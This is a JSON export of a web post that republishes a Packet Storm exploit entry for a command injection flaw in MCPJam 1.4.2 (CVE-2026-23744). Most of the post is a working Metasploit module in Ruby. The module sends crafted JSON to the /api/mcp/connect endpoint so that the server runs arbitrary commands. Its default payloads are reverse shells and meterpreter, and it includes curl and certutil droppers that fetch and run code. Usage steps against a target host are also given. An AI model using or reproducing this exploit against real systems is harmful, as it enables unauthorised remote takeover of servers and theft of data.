{"id":37575,"date":"2026-01-27T11:51:03","date_gmt":"2026-01-27T11:51:03","guid":{"rendered":"http:\/\/localhost\/?p=37575"},"modified":"2026-01-27T11:51:03","modified_gmt":"2026-01-27T11:51:03","slug":"mcpjam-142-command-injection","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=37575","title":{"rendered":"\ud83d\udcc4 MCPJam 1.4.2 Command Injection_PACKETSTORM:214431"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-01-27T17:13:58&#8243;,&#8221;description&#8221;:&#8221;This Metasploit exploit module targets the MCP Model Context Protocol server, specifically exploiting a command injection vulnerability in the \/api\/mcp\/connect endpoint. The vulnerability allows unauthorized remote command execution by sending crafted&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-01-27T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-01-27T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 MCPJam 1.4.2 Command Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:214431&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-23744&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : MCPJam 1.4.2 command injection vulnerability                                                                                |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.1 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/github.com\/MCPJam                                                                                                   |\\n    =============================================================================================================================================\\n    \\n    [+] References: https:\/\/packetstorm.news\/files\/id\/214283\/ \\u0026 CVE-2026-23744\\n    \\n    [+] Summary:  This Metasploit exploit module targets the MCP (Model Context Protocol) server, specifically exploiting a command injection vulnerability in the \/api\/mcp\/connect endpoint. \\n                  The vulnerability allows unauthorized remote command execution by sending crafted JSON payloads that are executed by the server without proper sanitization.\\n    \\n    [+] Platforms Supported: Unix\/Linux and Windows\\n    \\n    [+] Payload Types:\\n    \\n    Command execution (ARCH_CMD)\\n    \\n    Dropper payloads for Linux and Windows (ARCH_X64)\\n    \\n    [+] Functionality:\\n    \\n    Check if the target server is reachable and running MCP\\n    \\n    Test the server for RCE vulnerability using safe commands\\n    \\n    Exploit the server via command payloads or staged droppers\\n    \\n    [+] Robustness:\\n    \\n    Handles connection errors, timeouts, and server readiness\\n    \\n    Supports verbose output for debugging and test confirmation\\n    \\n    [+] Metasploit Integration:\\n    \\n    Compatible with Msf::Exploit::Remote::HttpClient and CmdStager\\n    \\n    Provides multiple targets and configurable options (RPORT, TARGETURI, WAIT_TIMEOUT, VERBOSE)\\n    \\n    [+] Usage :\\n    \\n    use exploit\/multi\/mcp_rce\\n    set RHOSTS 192.168.1.100\\n    set RPORT 6274\\n    set TARGETURI \/\\n    run\\n    \\n    [+] Notes:\\n    \\n    The module does not require privileged access\\n    \\n    Exploitation may leave artifacts on disk or logs\\n    \\n    Safe for testing, but ensure authorization before use\\n    \\n    [+] POC :\\n    \\n    ##\\n    # This module requires Metasploit: https:\/\/metasploit.com\/download\\n    # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n    ##\\n    \\n    class MetasploitModule \\u003c Msf::Exploit::Remote\\n      Rank = ExcellentRanking\\n    \\n      include Msf::Exploit::Remote::HttpClient\\n      include Msf::Exploit::CmdStager\\n    \\n      def initialize(info = {})\\n        super(\\n          update_info(\\n            info,\\n            &#8216;Name&#8217; =\\u003e &#8216;MCP Server Remote Code Execution&#8217;,\\n            &#8216;Description&#8217; =\\u003e %q{\\n              This module exploits a command injection vulnerability in the MCP\\n              (Model Context Protocol) server. The vulnerability exists in the\\n              \/api\/mcp\/connect endpoint which allows unauthorized remote command\\n              execution.\\n              \\n              The server runs on port 6274 by default and accepts JSON payloads\\n              that are passed directly to system() calls or similar execution\\n              functions without proper sanitization.\\n            },\\n            &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n            &#8216;Author&#8217; =\\u003e [\\n              &#8216;indoushka&#8217;\\n            ],\\n            &#8216;References&#8217; =\\u003e [\\n              [&#8216;URL&#8217;, &#8216;https:\/\/packetstorm.news\/files\/id\/214283\/&#8217;],\\n              [&#8216;CVE&#8217;, &#8216;\\tCVE-2026-23744&#8217;]  \\n            ],\\n            &#8216;Platform&#8217; =\\u003e %w[unix linux win],\\n            &#8216;Arch&#8217; =\\u003e [ARCH_CMD, ARCH_X86, ARCH_X64],\\n            &#8216;Targets&#8217; =\\u003e [\\n              [\\n                &#8216;Unix\/Linux (CMD)&#8217;,\\n                {\\n                  &#8216;Platform&#8217; =\\u003e &#8216;unix&#8217;,\\n                  &#8216;Arch&#8217; =\\u003e ARCH_CMD,\\n                  &#8216;DefaultOptions&#8217; =\\u003e { &#8216;PAYLOAD&#8217; =\\u003e &#8216;cmd\/unix\/reverse_bash&#8217; },\\n                  &#8216;Type&#8217; =\\u003e :cmd\\n                }\\n              ],\\n              [\\n                &#8216;Windows (CMD)&#8217;,\\n                {\\n                  &#8216;Platform&#8217; =\\u003e &#8216;win&#8217;,\\n                  &#8216;Arch&#8217; =\\u003e ARCH_CMD,\\n                  &#8216;DefaultOptions&#8217; =\\u003e { &#8216;PAYLOAD&#8217; =\\u003e &#8216;cmd\/windows\/powershell_reverse_tcp&#8217; },\\n                  &#8216;Type&#8217; =\\u003e :cmd\\n                }\\n              ],\\n              [\\n                &#8216;Linux (Dropper)&#8217;,\\n                {\\n                  &#8216;Platform&#8217; =\\u003e &#8216;linux&#8217;,\\n                  &#8216;Arch&#8217; =\\u003e ARCH_X64,\\n                  &#8216;DefaultOptions&#8217; =\\u003e { &#8216;PAYLOAD&#8217; =\\u003e &#8216;linux\/x64\/meterpreter\/reverse_tcp&#8217; },\\n                  &#8216;Type&#8217; =\\u003e :dropper\\n                }\\n              ],\\n              [\\n                &#8216;Windows (Dropper)&#8217;,\\n                {\\n                  &#8216;Platform&#8217; =\\u003e &#8216;win&#8217;,\\n                  &#8216;Arch&#8217; =\\u003e ARCH_X64,\\n                  &#8216;DefaultOptions&#8217; =\\u003e { &#8216;PAYLOAD&#8217; =\\u003e &#8216;windows\/x64\/meterpreter\/reverse_tcp&#8217; },\\n                  &#8216;Type&#8217; =\\u003e :dropper\\n                }\\n              ]\\n            ],\\n            &#8216;Privileged&#8217; =\\u003e false,\\n            &#8216;DisclosureDate&#8217; =\\u003e &#8216;2024-01-01&#8217;,\\n            &#8216;DefaultTarget&#8217; =\\u003e 0,\\n            &#8216;Notes&#8217; =\\u003e {\\n              &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n              &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION],\\n              &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\\n            }\\n          )\\n        )\\n    \\n        register_options([\\n          Opt::RPORT(6274),\\n          OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;The base path to MCP server&#8217;, &#8216;\/&#8217;]),\\n          OptInt.new(&#8216;WAIT_TIMEOUT&#8217;, [true, &#8216;Seconds to wait for server&#8217;, 30]),\\n          OptBool.new(&#8216;VERBOSE&#8217;, [false, &#8216;Enable verbose output&#8217;, false])\\n        ])\\n      end\\n    \\n      def check\\n        vprint_status(\\&#8221;Checking if target #{peer} is running MCP server&#8230;\\&#8221;)\\n        \\n        begin\\n          res = send_request_cgi({\\n            &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n            &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path)\\n          })\\n        rescue ::Rex::ConnectionError\\n          return Exploit::CheckCode::Safe(\\&#8221;Connection failed\\&#8221;)\\n        end\\n        \\n        unless res\\n          return Exploit::CheckCode::Safe(\\&#8221;No response received\\&#8221;)\\n        end\\n    \\n        if res.code == 200 || res.code \\u003c 500\\n          vprint_good(\\&#8221;Server responded with code #{res.code}\\&#8221;)\\n    \\n          if test_vulnerability\\n            return Exploit::CheckCode::Vulnerable(\\&#8221;Confirmed RCE vulnerability\\&#8221;)\\n          else\\n            return Exploit::CheckCode::Appears(\\&#8221;Server appears to be MCP but RCE not confirmed\\&#8221;)\\n          end\\n        end\\n        \\n        Exploit::CheckCode::Safe(\\&#8221;Does not appear to be MCP server\\&#8221;)\\n      end\\n    \\n      def exploit\\n        print_status(\\&#8221;Starting exploitation of #{peer}&#8230;\\&#8221;)\\n    \\n        unless check_server\\n          fail_with(Failure::Unknown, \\&#8221;Server not reachable\\&#8221;)\\n        end\\n        \\n        case target[&#8216;Type&#8217;]\\n        when :cmd\\n          exploit_cmd\\n        when :dropper\\n          exploit_dropper\\n        else\\n          fail_with(Failure::NoTarget, \\&#8221;Invalid target type selected\\&#8221;)\\n        end\\n      end\\n    \\n      private\\n    \\n      def check_server\\n        print_status(\\&#8221;Waiting for server on #{peer}&#8230;\\&#8221;)\\n        \\n        start_time = Time.now\\n        max_wait = datastore[&#8216;WAIT_TIMEOUT&#8217;]\\n        \\n        while Time.now &#8211; start_time \\u003c max_wait\\n          begin\\n            res = send_request_cgi({\\n              &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n              &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path),\\n              &#8216;timeout&#8217; =\\u003e 2\\n            })\\n            \\n            if res \\u0026\\u0026 res.code \\u003c 500\\n              print_good(\\&#8221;Server ready after #{Time.now &#8211; start_time:.2f} seconds\\&#8221;)\\n              return true\\n            end\\n          rescue ::Rex::ConnectionError\\n    \\n          rescue ::Rex::TimeoutError\\n    \\n          end\\n    \\n          Rex.sleep(1)\\n        end\\n        \\n        print_error(\\&#8221;Server failed to start within #{max_wait} seconds\\&#8221;)\\n        false\\n      end\\n    \\n      def test_vulnerability\\n        vprint_status(\\&#8221;Testing vulnerability&#8230;\\&#8221;)\\n        \\n        test_commands = [\\n          \\&#8221;echo MSF_TEST_#{Rex::Text.rand_text_alpha(8)}\\&#8221;,\\n          \\&#8221;printf VULN_TEST\\&#8221;,\\n          \\&#8221;ver\\&#8221;\\n        ]\\n        \\n        successful_tests = 0\\n        \\n        test_commands.each do |cmd|\\n          vprint_status(\\&#8221;Testing command: #{cmd}\\&#8221;)\\n          payload = create_payload(cmd)\\n          \\n          begin\\n            res = send_request_cgi({\\n              &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n              &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;mcp&#8217;, &#8216;connect&#8217;),\\n              &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n              &#8216;data&#8217; =\\u003e payload.to_json\\n            })\\n            \\n            if res\\n              vprint_good(\\&#8221;Command #{cmd} sent successfully (status: #{res.code})\\&#8221;)\\n              successful_tests += 1\\n            else\\n              vprint_warning(\\&#8221;No response for command: #{cmd}\\&#8221;)\\n            end\\n          rescue ::Rex::ConnectionError\\n            vprint_warning(\\&#8221;Connection error for command: #{cmd}\\&#8221;)\\n    \\n            successful_tests += 1\\n          end\\n    \\n          Rex.sleep(0.5)\\n        end\\n        \\n        is_vulnerable = successful_tests \\u003e 0\\n        vprint_status(\\&#8221;Vulnerability test result: #{successful_tests}\/#{test_commands.length} successful\\&#8221;)\\n        is_vulnerable\\n      end\\n    \\n      def create_payload(command)\\n    \\n        if target[&#8216;Platform&#8217;] == &#8216;unix&#8217; || target[&#8216;Platform&#8217;] == &#8216;linux&#8217;\\n          cmd_parts = Shellwords.split(command)\\n          cmd = cmd_parts[0]\\n          args = cmd_parts[1..-1] || []\\n          \\n          env_vars = {\\n            &#8216;PATH&#8217; =\\u003e &#8216;\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin&#8217;,\\n            &#8216;SHELL&#8217; =\\u003e &#8216;\/bin\/bash&#8217;\\n          }\\n        else\\n    \\n          cmd = &#8216;cmd.exe&#8217;\\n          args = [&#8216;\/c&#8217;, command]\\n          env_vars = {}\\n        end\\n        \\n        {\\n          &#8216;serverConfig&#8217; =\\u003e {\\n            &#8216;command&#8217; =\\u003e cmd,\\n            &#8216;args&#8217; =\\u003e args,\\n            &#8216;env&#8217; =\\u003e env_vars\\n          },\\n          &#8216;serverId&#8217; =\\u003e \\&#8221;msf_#{Rex::Text.rand_text_alphanumeric(8)}\\&#8221;\\n        }\\n      end\\n    \\n      def exploit_cmd\\n        print_status(\\&#8221;Exploiting with command payload&#8230;\\&#8221;)\\n        \\n        case target[&#8216;Platform&#8217;]\\n        when &#8216;unix&#8217;, &#8216;linux&#8217;\\n          cmd = payload.encoded\\n        when &#8216;win&#8217;\\n          cmd = payload.encoded\\n        end\\n        \\n        payload_data = create_payload(cmd)\\n        \\n        print_status(\\&#8221;Sending payload to #{peer}&#8230;\\&#8221;)\\n        \\n        begin\\n          res = send_request_cgi({\\n            &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n            &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;mcp&#8217;, &#8216;connect&#8217;),\\n            &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n            &#8216;data&#8217; =\\u003e payload_data.to_json\\n          })\\n          \\n          if res\\n            print_status(\\&#8221;Server responded with status: #{res.code}\\&#8221;)\\n            \\n            if res.body \\u0026\\u0026 !res.body.empty?\\n              vprint_status(\\&#8221;Response body: #{res.body[0..500]}\\&#8221;)\\n            end\\n          else\\n            print_warning(\\&#8221;No response received &#8211; exploitation may have succeeded\\&#8221;)\\n          end\\n    \\n          Rex.sleep(2)\\n          \\n          print_good(\\&#8221;Exploitation completed\\&#8221;)\\n          \\n        rescue ::Rex::ConnectionError =\\u003e e\\n          print_warning(\\&#8221;Connection error: #{e.message}\\&#8221;)\\n          print_warning(\\&#8221;This may indicate successful exploitation\\&#8221;)\\n        rescue ::Rex::TimeoutError\\n          print_error(\\&#8221;Request timeout\\&#8221;)\\n        end\\n      end\\n    \\n      def exploit_dropper\\n        print_status(\\&#8221;Exploiting with dropper payload&#8230;\\&#8221;)\\n    \\n        case target[&#8216;Platform&#8217;]\\n        when &#8216;linux&#8217;\\n          execute_cmdstager(\\n            flavor: :curl,\\n            linemax: 2048\\n          )\\n        when &#8216;win&#8217;\\n          execute_cmdstager(\\n            flavor: :certutil,\\n            linemax: 2048\\n          )\\n        end\\n      end\\n    \\n      def execute_command(cmd, opts = {})\\n        vprint_status(\\&#8221;Executing command: #{cmd}\\&#8221;)\\n        \\n        payload_data = create_payload(cmd)\\n        \\n        begin\\n          res = send_request_cgi({\\n            &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n            &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;mcp&#8217;, &#8216;connect&#8217;),\\n            &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n            &#8216;data&#8217; =\\u003e payload_data.to_json,\\n            &#8216;timeout&#8217; =\\u003e 10\\n          })\\n          \\n          if res \\u0026\\u0026 datastore[&#8216;VERBOSE&#8217;]\\n            vprint_status(\\&#8221;Command response: #{res.code}\\&#8221;)\\n          end\\n          \\n        rescue ::Rex::ConnectionError\\n          vprint_warning(\\&#8221;Connection error during command execution\\&#8221;)\\n        rescue ::Rex::TimeoutError\\n          vprint_warning(\\&#8221;Timeout during command execution\\&#8221;)\\n        end\\n    \\n        nil\\n      end\\n    end\\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/214431&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.8,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/214431\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-01-27T17:13:58&#8243;,&#8221;description&#8221;:&#8221;This Metasploit exploit module targets the MCP Model Context Protocol server, specifically exploiting a command injection vulnerability in the \/api\/mcp\/connect endpoint. The vulnerability allows unauthorized&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-37575","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 MCPJam 1.4.2 Command Injection_PACKETSTORM:214431 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=37575\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 MCPJam 1.4.2 Command Injection_PACKETSTORM:214431 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-01-27T17:13:58&#8243;,&#8221;description&#8221;:&#8221;This Metasploit exploit module targets the MCP Model Context Protocol server, specifically exploiting a command injection vulnerability in the \/api\/mcp\/connect endpoint. The vulnerability allows unauthorized...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=37575\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-01-27T11:51:03+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"9 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37575#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37575\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 MCPJam 1.4.2 Command Injection_PACKETSTORM:214431\",\"datePublished\":\"2026-01-27T11:51:03+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37575\"},\"wordCount\":1770,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.8\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=37575#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37575\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37575\",\"name\":\"\ud83d\udcc4 MCPJam 1.4.2 Command Injection_PACKETSTORM:214431 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-01-27T11:51:03+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37575#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=37575\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37575#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 MCPJam 1.4.2 Command Injection_PACKETSTORM:214431\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 MCPJam 1.4.2 Command Injection_PACKETSTORM:214431 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=37575","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 MCPJam 1.4.2 Command Injection_PACKETSTORM:214431 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-01-27T17:13:58&#8243;,&#8221;description&#8221;:&#8221;This Metasploit exploit module targets the MCP Model Context Protocol server, specifically exploiting a command injection vulnerability in the \/api\/mcp\/connect endpoint. The vulnerability allows unauthorized...","og_url":"https:\/\/zero.redgem.net\/?p=37575","og_site_name":"zero redgem","article_published_time":"2026-01-27T11:51:03+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"9 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=37575#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=37575"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 MCPJam 1.4.2 Command Injection_PACKETSTORM:214431","datePublished":"2026-01-27T11:51:03+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=37575"},"wordCount":1770,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.8","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=37575#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=37575","url":"https:\/\/zero.redgem.net\/?p=37575","name":"\ud83d\udcc4 MCPJam 1.4.2 Command Injection_PACKETSTORM:214431 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-01-27T11:51:03+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=37575#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=37575"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=37575#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 MCPJam 1.4.2 Command Injection_PACKETSTORM:214431"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero 